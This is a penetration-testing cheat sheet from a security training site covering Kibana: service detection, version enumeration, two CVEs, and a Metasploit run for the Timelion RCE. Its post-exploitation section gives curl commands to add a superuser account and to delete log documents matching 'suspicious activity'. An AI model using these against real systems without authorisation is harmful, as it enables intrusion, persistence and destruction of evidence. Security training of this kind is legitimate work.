Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Kibana

Default Port: 5601

Kibana is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch.

Connect​

Accessing Kibana​

To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601.

http://<target-ip>:5601

Recon​

Detecting Kibana Service​

Nmap can be used to detect whether the Kibana service is running on a target machine.

nmap -p5601 <target-ip>

Additionally, you can use a service detection script for more detailed information.

nmap --script http-kibana-detect -p 5601 <target-ip>

Enumeration​

Enumerating Kibana Version​

Kibana exposes operational and version information through its GET /api/status endpoint. Depending on the deployment, the endpoint may require authentication:

curl -s http://<target-ip>:5601/api/status
curl -s -u <username>:<password> https://<target-ip>:5601/api/status

Record the exact Kibana version before checking version-specific vulnerabilities.

Attack Vectors​

Authentication Configuration​

Current Elastic Stack installations do not have a universal elastic:changeme credential. The built-in elastic account receives a deployment-specific password during setup, and Kibana may also use external authentication realms. Review the exposed login method and test only credentials that apply to the deployment.

Local File Inclusion (CVE-2018-17246)​

CVE-2018-17246 allowed a remote attacker to make Kibana load a local file as JavaScript. Elastic fixed the issue in Kibana 5.6.13 and 6.4.3. Confirm the exact version and patch status before treating an instance as affected.

Timelion Remote Code Execution (CVE-2019-7609)​

According to Elastic's security advisory, Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. Current Metasploit releases include a module for this vulnerability:

msfconsole
use exploit/linux/http/kibana_timelion_prototype_pollution_rce
set RHOSTS <target-ip>
set RPORT 5601
run

Post-Exploitation​

Creating a Native Elasticsearch User​

With credentials that have the manage_security cluster privilege, use the Elasticsearch user API to create a native user. This request is sent to Elasticsearch, not Kibana:

curl -u <admin-user>:<password> \
  -X POST 'https://<elasticsearch-host>:9200/_security/user/<username>' \
  -H 'Content-Type: application/json' \
  -d '{
  "password": "<new-password>",
  "roles": ["superuser"]
}'

Enumerating Elasticsearch Indices​

If Elasticsearch is directly reachable and the account has the required index privileges, list indices and query a selected index:

curl -u <username>:<password> 'https://<elasticsearch-host>:9200/_cat/indices?v'
curl -u <username>:<password> 'https://<elasticsearch-host>:9200/<index>/_search?pretty'

Deleting Matching Documents​

The _delete_by_query API is an Elasticsearch operation and requires sufficient privileges on the selected index:

curl -u <username>:<password> \
  -X POST 'https://<elasticsearch-host>:9200/<index>/_delete_by_query' \
  -H 'Content-Type: application/json' \
  -d '
{
  "query": {
    "match": {
      "message": "suspicious activity message"
    }
  }
}'